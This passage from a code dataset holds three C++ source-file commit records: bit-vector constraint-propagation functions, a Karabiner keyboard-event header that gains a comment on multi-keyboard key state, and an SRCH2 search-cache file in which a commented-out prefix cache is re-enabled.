bvEqualsBothWays(FixedBits& a, FixedBits& b, FixedBits& output)\n{\n\tassert(a.getWidth() == b.getWidth());\n\tassert(1 == output.getWidth());\n\n\tconst int childWidth = a.getWidth();\n\n\tResult r = NO_CHANGE;\n\n\tbool allSame = true;\n\tbool definatelyFalse = false;\n\n\tfor (int i = 0; i < childWidth; i++)\n\t{\n\t\t\/\/ if both fixed\n\t\tif (a.isFixed(i) && b.isFixed(i))\n\t\t{\n\t\t\t\/\/ And have different values.\n\t\t\tif (a.getValue(i) != b.getValue(i))\n\t\t\t{\n\t\t\t\tdefinatelyFalse = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tallSame &= true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t\tallSame &= false;\n\t}\n\n\tif (definatelyFalse)\n\t{\n\t\tif (output.isFixed(0) && output.getValue(0))\n\t\t{\n\t\t\treturn CONFLICT;\n\t\t}\n\t\telse if (!output.isFixed(0))\n\t\t{\n\t\t\toutput.setFixed(0, true);\n\t\t\toutput.setValue(0, false);\n\t\t\tr = CHANGED;\n\t\t}\n\t}\n\telse if (allSame)\n\t{\n\t\tif (output.isFixed(0) && !output.getValue(0))\n\t\t{\n\t\t\treturn CONFLICT;\n\t\t}\n\t\telse if (!output.isFixed(0))\n\t\t{\n\t\t\toutput.setFixed(0, true);\n\t\t\toutput.setValue(0, true);\n\t\t\tr = CHANGED;\n\t\t}\n\t}\n\n\tif (output.isFixed(0) && output.getValue(0)) \/\/ all should be the same.\n\t{\n\t\tfor (int i = 0; i < childWidth; i++)\n\t\t{\n\t\t\tif (a.isFixed(i) && b.isFixed(i))\n\t\t\t{\n\t\t\t\tif (a.getValue(i) != b.getValue(i))\n\t\t\t\t{\n\t\t\t\t\treturn CONFLICT;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (a.isFixed(i) != b.isFixed(i)) \/\/ both same but only one is fixed.\n\t\t\t{\n\t\t\t\tif (a.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\tb.setFixed(i, true);\n\t\t\t\t\tb.setValue(i, a.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ta.setFixed(i, true);\n\t\t\t\t\ta.setValue(i, b.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ if the result is fixed to false, there is a single unspecied value, and all the rest are the same. Fix it to the opposite.\n\tif (output.isFixed(0) && !output.getValue(0))\n\t{\n\t\tint unknown = 0;\n\n\t\tfor (int i = 0; i < childWidth && unknown < 2; i++)\n\t\t{\n\t\t\tif (!a.isFixed(i))\n\t\t\t\tunknown++;\n\t\t\tif (!b.isFixed(i))\n\t\t\t\tunknown++;\n\t\t\telse if (a.isFixed(i) && b.isFixed(i) && a.getValue(i) != b.getValue(i))\n\t\t\t{\n\t\t\t\tunknown = 10; \/\/ hack, don't do the next loop.\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (1 == unknown)\n\t\t{\n\t\t\tfor (int i = 0; i < childWidth; i++)\n\t\t\t{\n\t\t\t\tif (!a.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\ta.setFixed(i, true);\n\t\t\t\t\ta.setValue(i, !b.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t\tif (!b.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\tb.setFixed(i, true);\n\t\t\t\t\tb.setValue(i, !a.getValue(i));\n\t\t\t\t\tr = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn r;\n}\n\nResult bvEqualsBothWays(vector<FixedBits*>& children, FixedBits& result)\n{\n\treturn bvEqualsBothWays(*(children[0]), *(children[1]), result);\n}\n\nResult bvZeroExtendBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() ==2 );\n\t\/\/ The second argument is a junk size arugment.\n\n\n\tFixedBits& input = *children[0];\n\tconst int inputBitWidth = input.getWidth();\n\tconst int outputBitWidth = output.getWidth();\n\n\tResult result = makeEqual(input, output, 0, inputBitWidth);\n\tif (CONFLICT == result)\n\t\treturn CONFLICT;\n\n\t\/\/ Fix all the topmost bits of the output to zero.\n\tfor (int i = inputBitWidth; i < outputBitWidth; i++)\n\t{\n\t\tif (output.isFixed(i) && output.getValue(i))\n\t\t\treturn CONFLICT; \/\/ set to one. Never right.\n\t\telse if (!output.isFixed(i))\n\t\t{\n\t\t\toutput.setFixed(i, true);\n\t\t\toutput.setValue(i, false);\n\t\t\tresult = CHANGED;\n\t\t}\n\t}\n\treturn result;\n}\n\nResult bvSignExtendBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() ==2 );\n\t\/\/ The second argument is a junk size arugment.\n\n\tFixedBits& input = *children[0];\n\tconst int inputBitWidth = input.getWidth();\n\tconst int outputBitWidth = output.getWidth();\n\tassert(inputBitWidth <= outputBitWidth);\n\n\tResult result = makeEqual(input, output, 0, inputBitWidth);\n\tif (CONFLICT == result)\n\t\treturn CONFLICT;\n\n\t\/\/ If any of the topmost bits of the output are fixed. Then they all should be.\n\t\/\/ They should all be fixed to the same value.\n\tbool found = false;\n\tbool setTo;\n\tfor (int i = inputBitWidth - \/**\/1 \/**\/; i < outputBitWidth; i++)\n\t{\n\t\tif (output.isFixed(i))\n\t\t{\n\t\t\tsetTo = output.getValue(i);\n\t\t\tfound = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (found)\n\t{\n\t\tfor (int i = inputBitWidth - 1; i < outputBitWidth; i++)\n\t\t{\n\t\t\tif (output.isFixed(i) && (output.getValue(i) != setTo))\n\t\t\t\treturn CONFLICT; \/\/ if any are set to the wrong value! bad.\n\t\t\telse if (!output.isFixed(i))\n\t\t\t{\n\t\t\t\toutput.setFixed(i, true);\n\t\t\t\toutput.setValue(i, setTo);\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t}\n\n\t\tResult result2 = makeEqual(input, output, 0, inputBitWidth);\n\t\tif (CONFLICT == result2)\n\t\t\treturn CONFLICT;\n\n\t}\n\treturn result;\n}\n\nResult bvExtractBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tconst int numberOfChildren = children.size();\n\tconst int outputBitWidth = output.getWidth();\n\n\tResult result = NO_CHANGE;\n\n\tassert(3 == numberOfChildren);\n\n\tint top = children[1]->getUnsignedValue();\n\tint bottom = children[2]->getUnsignedValue();\n\n\tFixedBits& input = *(children[0]);\n\n\tassert(top >= bottom);\n\tassert(bottom >=0);\n\tassert(top - bottom + 1 == outputBitWidth);\n\tassert(top < input.getWidth());\n\n\tfor (int outputPosition = 0; outputPosition < outputBitWidth; outputPosition++)\n\t{\n\t\tint inputPosition = outputPosition + bottom;\n\n\t\tif (input.isFixed(inputPosition) && output.isFixed(outputPosition))\n\t\t\tif (input.getValue(inputPosition) ^ output.getValue(outputPosition))\n\t\t\t\treturn CONFLICT;\n\n\t\tif (input.isFixed(inputPosition) ^ output.isFixed(outputPosition))\n\t\t{\n\t\t\tif (input.isFixed(inputPosition))\n\t\t\t{\n\t\t\t\toutput.setFixed(outputPosition, true);\n\t\t\t\toutput.setValue(outputPosition, input.getValue(inputPosition));\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tinput.setFixed(inputPosition, true);\n\t\t\t\tinput.setValue(inputPosition, output.getValue(outputPosition));\n\t\t\t\tresult = CHANGED;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/cerr << \"extract[\" << top << \":\" << bottom << \"]\" << input << \"=\" << output<< endl;\n\n\treturn result;\n}\n\n\/\/ UMINUS, is NEG followed by +1\nResult bvUnaryMinusBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tassert(children.size() == 1);\n\tconst int bitWidth = children[0]->getWidth();\n\n\t\/\/ If it's only one bit. This will be negative one.\n\tFixedBits one(bitWidth, false);\n\tone.fixToZero();\n\tone.setFixed(0, true);\n\tone.setValue(0, true);\n\n\tFixedBits notted(bitWidth, false);\n\n\tvector<FixedBits*> args;\n\targs.push_back(¬ted);\n\targs.push_back(&one);\n\n\tResult result = NO_CHANGE;\n\twhile (true) \/\/ until it fixed points\n\t{\n\t\tFixedBits initialNot(notted);\n\t\tFixedBits initialIn(*children[0]);\n\t\tFixedBits initialOut(output);\n\n\t\tresult = bvNotBothWays(*children[0], notted);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t\tresult = bvAddBothWays(args, output);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t\tif (FixedBits::equals(initialNot, notted) && FixedBits::equals(initialIn, *children[0]) && FixedBits::equals(initialOut, output))\n\t\t\tbreak;\n\t}\n\n\treturn NOT_IMPLEMENTED; \/\/ don't set the status properly yet..\n}\n\nResult bvConcatBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tResult r = NO_CHANGE;\n\tconst int numberOfChildren = children.size();\n\tint current = 0;\n\tfor (int i = numberOfChildren - 1; i >= 0; i--) \/\/ least significant is last.\n\n\t{\n\t\tFixedBits& child = *children[i];\n\t\tfor (int j = 0; j < child.getWidth(); j++)\n\t\t{\n\t\t\t\/\/ values are different. Bad.\n\t\t\tif (output.isFixed(current) && child.isFixed(j) && (output.getValue(current) != child.getValue(j)))\n\t\t\t\treturn CONFLICT;\n\n\t\t\tif (output.isFixed(current) && !child.isFixed(j))\n\t\t\t{\n\t\t\t\t\/\/ only output is fixed.\n\t\t\t\tchild.setFixed(j, true);\n\t\t\t\tchild.setValue(j, output.getValue(current));\n\t\t\t\tr = CHANGED;\n\t\t\t}\n\t\t\telse if (!output.isFixed(current) && child.isFixed(j))\n\t\t\t{\n\t\t\t\t\/\/ only input is fixed.\n\t\t\t\toutput.setFixed(current, true);\n\t\t\t\toutput.setValue(current, child.getValue(j));\n\t\t\t\tr = CHANGED;\n\t\t\t}\n\t\t\tcurrent++;\n\t\t}\n\t}\n\treturn r;\n}\n\n\/\/ If the guard is fixed, make equal the appropriate input and output.\n\/\/ If one input can not possibly be the output. Then set the guard to make it the other one.\n\/\/ If both values are the same. Set the output to that value.\nResult bvITEBothWays(vector<FixedBits*>& children, FixedBits& output)\n{\n\tResult result = NO_CHANGE;\n\n\tassert(3 == children.size());\n\tconst int bitWidth = output.getWidth();\n\tFixedBits& guard = *children[0];\n\tFixedBits& c1 = *children[1];\n\tFixedBits& c2 = *children[2];\n\n\tassert(c1.getWidth() == c2.getWidth());\n\tassert(output.getWidth() == c2.getWidth());\n\n\tif (guard.isFixed(0) && guard.getValue(0))\n\t{ \/\/ guard fixed to true. So make (first arg == output)\n\t\tresult = makeEqual(output, c1, 0, bitWidth);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t}\n\telse if (guard.isFixed(0) && !guard.getValue(0))\n\t{\n\t\tresult = makeEqual(output, c2, 0, bitWidth);\n\t\tif (CONFLICT == result)\n\t\t\treturn CONFLICT;\n\n\t}\n\telse\n\t{\n\t\tfor (int i = 0; i < bitWidth; i++)\n\t\t{\n\t\t\tif (c1.isFixed(i) && c2.isFixed(i) && (c1.getValue(i) == c2.getValue(i)))\n\t\t\t{\n\n\t\t\t\tif (output.isFixed(i) && (output.getValue(i) != c1.getValue(i)))\n\t\t\t\t\treturn CONFLICT;\n\n\t\t\t\tif (!output.isFixed(i))\n\t\t\t\t{\n\t\t\t\t\toutput.setFixed(i, true);\n\t\t\t\t\toutput.setValue(i, c1.getValue(i));\n\t\t\t\t\tresult = CHANGED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbool changed = false;\n\tif (CHANGED == result)\n\t\tchanged = true;\n\n\tfor (int i = 0; i < bitWidth; i++)\n\t{\n\t\tif (output.isFixed(i))\n\t\t{\n\t\t\tif (c1.isFixed(i) && (c1.getValue(i) != output.getValue(i)))\n\t\t\t{\n\t\t\t\t\/\/c1 is fixed to a value that's not the same as the output.\n\t\t\t\tif (!guard.isFixed(0))\n\t\t\t\t{\n\t\t\t\t\tguard.setFixed(0, true);\n\t\t\t\t\tguard.setValue(0, false);\n\t\t\t\t\tresult = bvITEBothWays(children, output);\n\t\t\t\t\tif (CONFLICT == result)\n\t\t\t\t\t\treturn CONFLICT;\n\t\t\t\t\tchanged = true;\n\t\t\t\t}\n\t\t\t\telse if (guard.getValue(0))\n\t\t\t\t\treturn CONFLICT;\n\t\t\t}\n\n\t\t\tif (c2.isFixed(i) && (c2.getValue(i) != output.getValue(i)))\n\t\t\t{\n\t\t\t\t\/\/c2 is fixed to a value that's not the same as the output.\n\t\t\t\tif (!guard.isFixed(0))\n\t\t\t\t{\n\t\t\t\t\tguard.setFixed(0, true);\n\t\t\t\t\tguard.setValue(0, true);\n\t\t\t\t\tresult = bvITEBothWays(children, output);\n\t\t\t\t\tif (CONFLICT == result)\n\t\t\t\t\t\treturn CONFLICT;\n\t\t\t\t\tchanged = true;\n\n\t\t\t\t}\n\t\t\t\telse if (!guard.getValue(0))\n\t\t\t\t\treturn CONFLICT;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (result == CONFLICT)\n\t\treturn CONFLICT;\n\tif (changed)\n\t\treturn CHANGED;\n\n\treturn result;\n}\n\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef FROMEVENT_HPP\n#define FROMEVENT_HPP\n\n#include \"FlagStatus.hpp\"\n#include \"IOLogWrapper.hpp\"\n#include \"List.hpp\"\n#include \"Params.hpp\"\n#include \"Vector.hpp\"\n#include \"bridge.h\"\n\nnamespace org_pqrs_Karabiner {\nclass FromEvent;\n\nclass PressingFromEvents final {\n friend class FromEvent;\n\npublic:\n class Item final : public List::Item {\n public:\n Item(const FromEvent* p) : fromEvent_(p) {}\n ~Item(void) {}\n\n const FromEvent* getFromEvent(void) const { return fromEvent_; }\n\n private:\n const FromEvent* fromEvent_;\n };\n\n static Item* find(const FromEvent* p) {\n for (Item* q = static_cast<Item*>(list_.safe_front()); q; q = static_cast<Item*>(q->getnext())) {\n if (q->getFromEvent() == p) {\n return q;\n }\n }\n return nullptr;\n }\n\n static void clear(void) {\n list_.clear();\n }\n\n static void push_back(const FromEvent* p) {\n list_.push_back(new Item(p));\n }\n\n static bool erase(const FromEvent* p) {\n Item* q = find(p);\n if (q) {\n list_.erase_and_delete(q);\n return true;\n }\n return false;\n }\n\n static void erase_all(const FromEvent* p) {\n for (;;) {\n if (!erase(p)) {\n break;\n }\n }\n }\n\nprivate:\n static List list_;\n};\n\nclass FromEvent final {\npublic:\n class Type final {\n public:\n enum Value {\n NONE,\n KEY,\n CONSUMER_KEY, \/\/ Mute, VolumeIncrement, VolumeDecrement, etcetc.\n POINTING_BUTTON,\n };\n };\n\n FromEvent(void) : type_(Type::NONE) {}\n explicit FromEvent(KeyCode v) : type_(Type::KEY), key_(v) {}\n explicit FromEvent(ConsumerKeyCode v) : type_(Type::CONSUMER_KEY), consumer_(v) {}\n explicit FromEvent(PointingButton v) : type_(Type::POINTING_BUTTON), button_(v) {}\n\n explicit FromEvent(const Params_Base& paramsBase) {\n type_ = Type::NONE;\n\n {\n auto p = paramsBase.get_Params_KeyboardEventCallBack();\n if (p) {\n type_ = Type::KEY;\n key_ = p->key;\n return;\n }\n }\n {\n auto p = paramsBase.get_Params_KeyboardSpecialEventCallback();\n if (p) {\n type_ = Type::CONSUMER_KEY;\n consumer_ = p->key;\n return;\n }\n }\n {\n auto p = paramsBase.get_Params_RelativePointerEventCallback();\n if (p) {\n type_ = Type::POINTING_BUTTON;\n button_ = p->ex_button;\n return;\n }\n }\n }\n\n FromEvent(AddDataType datatype, AddValue v) {\n switch (datatype) {\n case BRIDGE_DATATYPE_KEYCODE:\n type_ = Type::KEY;\n key_ = KeyCode(v);\n break;\n case BRIDGE_DATATYPE_CONSUMERKEYCODE:\n type_ = Type::CONSUMER_KEY;\n consumer_ = ConsumerKeyCode(v);\n break;\n case BRIDGE_DATATYPE_POINTINGBUTTON:\n type_ = Type::POINTING_BUTTON;\n button_ = PointingButton(v);\n break;\n default:\n IOLOG_ERROR(\"Unknown datatype: %u\\n\", static_cast<unsigned int>(datatype));\n type_ = Type::NONE;\n break;\n }\n }\n\n ~FromEvent(void) { PressingFromEvents::erase_all(this); }\n\n Type::Value getType(void) const { return type_; }\n\n \/\/ Return whether pressing state is changed.\n bool changePressingState(const Params_Base& paramsBase,\n const FlagStatus& currentFlags,\n const Vector_ModifierFlag& fromFlags);\n\n bool isPressing(void) const { return PressingFromEvents::find(this); }\n\n \/\/ Primitive functions:\n \/\/ These functions do not treat Flags.\n \/\/ Use changePressingState in general.\n bool isTargetEvent(const Params_Base& paramsBase) const;\n bool isTargetDownEvent(const Params_Base& paramsBase) const;\n bool isTargetUpEvent(const Params_Base& paramsBase) const;\n\n \/\/ Get ModifierFlag from KeyCode.\n ModifierFlag getModifierFlag(void) const {\n if (type_ != Type::KEY) return ModifierFlag::ZERO;\n return key_.getModifierFlag();\n }\n PointingButton getPointingButton(void) const {\n if (type_ != Type::POINTING_BUTTON) return PointingButton::NONE;\n return button_;\n }\n\nprivate:\n bool isTargetEvent(bool& isDown, const Params_Base& paramsBase) const;\n\n \/\/ Do not store Flags in FromEvent because SimultaneousKeyPresses uses multiple FromEvents.\n\n Type::Value type_;\n KeyCode key_;\n ConsumerKeyCode consumer_;\n PointingButton button_;\n};\n\nDECLARE_VECTOR(FromEvent);\n}\n\n#endif\n<commit_msg>add comment<commit_after>#ifndef FROMEVENT_HPP\n#define FROMEVENT_HPP\n\n#include \"FlagStatus.hpp\"\n#include \"IOLogWrapper.hpp\"\n#include \"List.hpp\"\n#include \"Params.hpp\"\n#include \"Vector.hpp\"\n#include \"bridge.h\"\n\nnamespace org_pqrs_Karabiner {\nclass FromEvent;\n\nclass PressingFromEvents final {\n friend class FromEvent;\n\npublic:\n class Item final : public List::Item {\n public:\n Item(const FromEvent* p) : fromEvent_(p) {}\n ~Item(void) {}\n\n const FromEvent* getFromEvent(void) const { return fromEvent_; }\n\n private:\n const FromEvent* fromEvent_;\n };\n\n static Item* find(const FromEvent* p) {\n for (Item* q = static_cast<Item*>(list_.safe_front()); q; q = static_cast<Item*>(q->getnext())) {\n if (q->getFromEvent() == p) {\n return q;\n }\n }\n return nullptr;\n }\n\n static void clear(void) {\n list_.clear();\n }\n\n static void push_back(const FromEvent* p) {\n list_.push_back(new Item(p));\n }\n\n static bool erase(const FromEvent* p) {\n Item* q = find(p);\n if (q) {\n list_.erase_and_delete(q);\n return true;\n }\n return false;\n }\n\n static void erase_all(const FromEvent* p) {\n for (;;) {\n if (!erase(p)) {\n break;\n }\n }\n }\n\nprivate:\n static List list_;\n};\n\nclass FromEvent final {\npublic:\n class Type final {\n public:\n enum Value {\n NONE,\n KEY,\n CONSUMER_KEY, \/\/ Mute, VolumeIncrement, VolumeDecrement, etcetc.\n POINTING_BUTTON,\n };\n };\n\n FromEvent(void) : type_(Type::NONE) {}\n explicit FromEvent(KeyCode v) : type_(Type::KEY), key_(v) {}\n explicit FromEvent(ConsumerKeyCode v) : type_(Type::CONSUMER_KEY), consumer_(v) {}\n explicit FromEvent(PointingButton v) : type_(Type::POINTING_BUTTON), button_(v) {}\n\n explicit FromEvent(const Params_Base& paramsBase) {\n type_ = Type::NONE;\n\n {\n auto p = paramsBase.get_Params_KeyboardEventCallBack();\n if (p) {\n type_ = Type::KEY;\n key_ = p->key;\n return;\n }\n }\n {\n auto p = paramsBase.get_Params_KeyboardSpecialEventCallback();\n if (p) {\n type_ = Type::CONSUMER_KEY;\n consumer_ = p->key;\n return;\n }\n }\n {\n auto p = paramsBase.get_Params_RelativePointerEventCallback();\n if (p) {\n type_ = Type::POINTING_BUTTON;\n button_ = p->ex_button;\n return;\n }\n }\n }\n\n FromEvent(AddDataType datatype, AddValue v) {\n switch (datatype) {\n case BRIDGE_DATATYPE_KEYCODE:\n type_ = Type::KEY;\n key_ = KeyCode(v);\n break;\n case BRIDGE_DATATYPE_CONSUMERKEYCODE:\n type_ = Type::CONSUMER_KEY;\n consumer_ = ConsumerKeyCode(v);\n break;\n case BRIDGE_DATATYPE_POINTINGBUTTON:\n type_ = Type::POINTING_BUTTON;\n button_ = PointingButton(v);\n break;\n default:\n IOLOG_ERROR(\"Unknown datatype: %u\\n\", static_cast<unsigned int>(datatype));\n type_ = Type::NONE;\n break;\n }\n }\n\n ~FromEvent(void) { PressingFromEvents::erase_all(this); }\n\n Type::Value getType(void) const { return type_; }\n\n \/\/ Return whether pressing state is changed.\n bool changePressingState(const Params_Base& paramsBase,\n const FlagStatus& currentFlags,\n const Vector_ModifierFlag& fromFlags);\n\n \/\/ Caution:\n \/\/ `isPressing` may return true at key up event if you connected multiple keyboards and pressing the same key.\n \/\/\n \/\/ For example,\n \/\/ 1. Press the return key in keyboard1. (isPressing == true)\n \/\/ 2. Press the return key in keyboard2. (isPressing == true)\n \/\/ 3. Release the return key in keyboard1. (isPressing == true)\n \/\/ 4. Release the return key in keyboard2. (isPressing == false)\n \/\/\n \/\/ So you must not use `isPressing` to detect the input event is key down or key up.\n \/\/ (You should use `Params_Base::iskeydown` to determine key down or key up.)\n bool isPressing(void) const { return PressingFromEvents::find(this); }\n\n \/\/ Primitive functions:\n \/\/ These functions do not treat Flags.\n \/\/ Use changePressingState in general.\n bool isTargetEvent(const Params_Base& paramsBase) const;\n bool isTargetDownEvent(const Params_Base& paramsBase) const;\n bool isTargetUpEvent(const Params_Base& paramsBase) const;\n\n \/\/ Get ModifierFlag from KeyCode.\n ModifierFlag getModifierFlag(void) const {\n if (type_ != Type::KEY) return ModifierFlag::ZERO;\n return key_.getModifierFlag();\n }\n PointingButton getPointingButton(void) const {\n if (type_ != Type::POINTING_BUTTON) return PointingButton::NONE;\n return button_;\n }\n\nprivate:\n bool isTargetEvent(bool& isDown, const Params_Base& paramsBase) const;\n\n \/\/ Do not store Flags in FromEvent because SimultaneousKeyPresses uses multiple FromEvents.\n\n Type::Value type_;\n KeyCode key_;\n ConsumerKeyCode consumer_;\n PointingButton button_;\n};\n\nDECLARE_VECTOR(FromEvent);\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ $Id: Cache.cpp 3456 2013-06-14 02:11:13Z jiaying $\n\n\/*\n * The Software is made available solely for use according to the License Agreement. Any reproduction\n * or redistribution of the Software not in accordance with the License Agreement is expressly prohibited\n * by law, and may result in severe civil and criminal penalties. Violators will be prosecuted to the\n * maximum extent possible.\n *\n * THE SOFTWARE IS WARRANTED, IF AT ALL, ONLY ACCORDING TO THE TERMS OF THE LICENSE AGREEMENT. EXCEPT\n * AS WARRANTED IN THE LICENSE AGREEMENT, SRCH2 INC. HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS WITH\n * REGARD TO THE SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL SRCH2 INC. BE LIABLE FOR ANY\n * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER ACTION, ARISING OUT OF OR IN CONNECTION\n * WITH THE USE OR PERFORMANCE OF SOFTWARE.\n\n * Copyright © 2010 SRCH2 Inc. All rights reserved\n *\/\n\n#include \"CacheManager.h\"\n#include \"util\/Assert.h\"\n#include \"util\/Logger.h\"\n#include \"operation\/physical_plan\/PhysicalPlan.h\"\n#include <string>\n#include <map>\n#include <stddef.h>\n\n#include <iostream>\n#include <sstream>\n\nusing std::vector;\nusing std::map;\n\nnamespace srch2\n{\nnamespace instantsearch\n{\n\n\nbool PhysicalOperatorsCache::getPhysicalOperatorsInfo(string & key, boost::shared_ptr<PhysicalOperatorCacheObject> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid PhysicalOperatorsCache::setPhysicalOperatosInfo(string & key , boost::shared_ptr<PhysicalOperatorCacheObject> object){\n\tthis->cacheContainer->put(key , object);\n}\nint PhysicalOperatorsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint ActiveNodesCache::findLongestPrefixActiveNodes(Term *term, boost::shared_ptr<PrefixActiveNodeSet> &in){\n\n\t\/*\/\/ find the longest prefix with active nodes in the cache\n\tunsigned termThreshold = term->getThreshold();\n\tstring *keyword = term->getKeyword();\n\tfor (int i = keyword->size(); i >= 2; i --)\n\t{\n\t\tstring prefix = keyword->substr(0, i);\n\t\tstd::string exactOrFuzzy = termThreshold == 0?\"0\":\"1\";\n\t\tstring key = prefix + \"$\" + exactOrFuzzy;\n\t\t\/\/ Cache key is : keyword+0 (for exact) or keyword+1 (for fuzzy)\n\t\t\/\/ for example: terminator => \"terminator$0\"\n\t\t\/\/ and terminator~0.5 => \"terminator$1\"\n\t\tboost::shared_ptr<PrefixActiveNodeSet> cacheHit;\n\t\tif(this->cacheContainer->get(key , cacheHit) == true && cacheHit->getEditDistanceThreshold() >= termThreshold){\n\t\t\tin = cacheHit;\n\t\t\treturn 1;\n\t\t}\n\t}*\/\n \/\/ no prefix has a cached PrefixActiveNodeSet\n\treturn 0;\n\n}\n\n\nint ActiveNodesCache::setPrefixActiveNodeSet(boost::shared_ptr<PrefixActiveNodeSet> &prefixActiveNodeSet){\n\tvector<CharType> *prefix = prefixActiveNodeSet->getPrefix();\n\tstd::stringstream ss ;\n\tss << prefixActiveNodeSet->getEditDistanceThreshold();\n\tstd::string exactOrFuzzy = ss.str();\n\/\/\tstd::string exactOrFuzzy = prefixActiveNodeSet->getEditDistanceThreshold() == 0?\"0\":\"1\";\n\tstring key = getUtf8String(*prefix) + \"$\" + exactOrFuzzy;\n\tthis->cacheContainer->put(key , prefixActiveNodeSet);\n\treturn 1;\n}\nint ActiveNodesCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nActiveNodesCache * CacheManager::getActiveNodesCache(){\n\treturn this->aCache;\n}\n\nQueryResultsCache * CacheManager::getQueryResultsCache(){\n\treturn this->qCache;\n}\n\nPhysicalOperatorsCache * CacheManager::getPhysicalOperatorsCache(){\n\treturn this->pCache;\n}\n\nPhysicalPlanRecordItemFactory * CacheManager::getPhysicalPlanRecordItemFactory(){\n\treturn this->physicalPlanRecordItemFactory;\n}\n\nbool QueryResultsCache::getQueryResults(string & key, boost::shared_ptr<QueryResultsCacheEntry> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid QueryResultsCache::setQueryResults(string & key , boost::shared_ptr<QueryResultsCacheEntry> object){\n\tthis->cacheContainer->put(key , object);\n}\nint QueryResultsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint CacheManager::clear(){\n\treturn this->aCache->clear() && this->qCache->clear() && this->pCache->clear() && this->physicalPlanRecordItemFactory->clear();\n}\n\n\n\n}}\n<commit_msg>Active node cache was disabled mistakenly. Now enabled again.<commit_after>\n\/\/ $Id: Cache.cpp 3456 2013-06-14 02:11:13Z jiaying $\n\n\/*\n * The Software is made available solely for use according to the License Agreement. Any reproduction\n * or redistribution of the Software not in accordance with the License Agreement is expressly prohibited\n * by law, and may result in severe civil and criminal penalties. Violators will be prosecuted to the\n * maximum extent possible.\n *\n * THE SOFTWARE IS WARRANTED, IF AT ALL, ONLY ACCORDING TO THE TERMS OF THE LICENSE AGREEMENT. EXCEPT\n * AS WARRANTED IN THE LICENSE AGREEMENT, SRCH2 INC. HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS WITH\n * REGARD TO THE SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL SRCH2 INC. BE LIABLE FOR ANY\n * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA\n * OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER ACTION, ARISING OUT OF OR IN CONNECTION\n * WITH THE USE OR PERFORMANCE OF SOFTWARE.\n\n * Copyright © 2010 SRCH2 Inc. All rights reserved\n *\/\n\n#include \"CacheManager.h\"\n#include \"util\/Assert.h\"\n#include \"util\/Logger.h\"\n#include \"operation\/physical_plan\/PhysicalPlan.h\"\n#include <string>\n#include <map>\n#include <stddef.h>\n\n#include <iostream>\n#include <sstream>\n\nusing std::vector;\nusing std::map;\n\nnamespace srch2\n{\nnamespace instantsearch\n{\n\n\nbool PhysicalOperatorsCache::getPhysicalOperatorsInfo(string & key, boost::shared_ptr<PhysicalOperatorCacheObject> & in){\n\treturn this->cacheContainer->get(key , in);\n}\nvoid PhysicalOperatorsCache::setPhysicalOperatosInfo(string & key , boost::shared_ptr<PhysicalOperatorCacheObject> object){\n\tthis->cacheContainer->put(key , object);\n}\nint PhysicalOperatorsCache::clear(){\n\treturn this->cacheContainer->clear();\n}\n\nint ActiveNodesCache::findLongestPrefixActiveNodes(Term *term, boost::shared_ptr<PrefixActiveNodeSet> &in){\n\n\t\/\/ find the longest prefix with active nodes in the cache\n\tunsigned termThreshold = term->getThreshold();\n\tstring *keyword = term->getKeyword();\n\tfor (int i = keyword->size(); i >= 2; i --)\n\t{\n\t\tstring prefix = keyword->substr(0, i);\n\t\tstd::string exactOrFuzzy = termThreshold == 0?\"0\":\"1\";\n\t\tstring key = prefix + \"$\" + 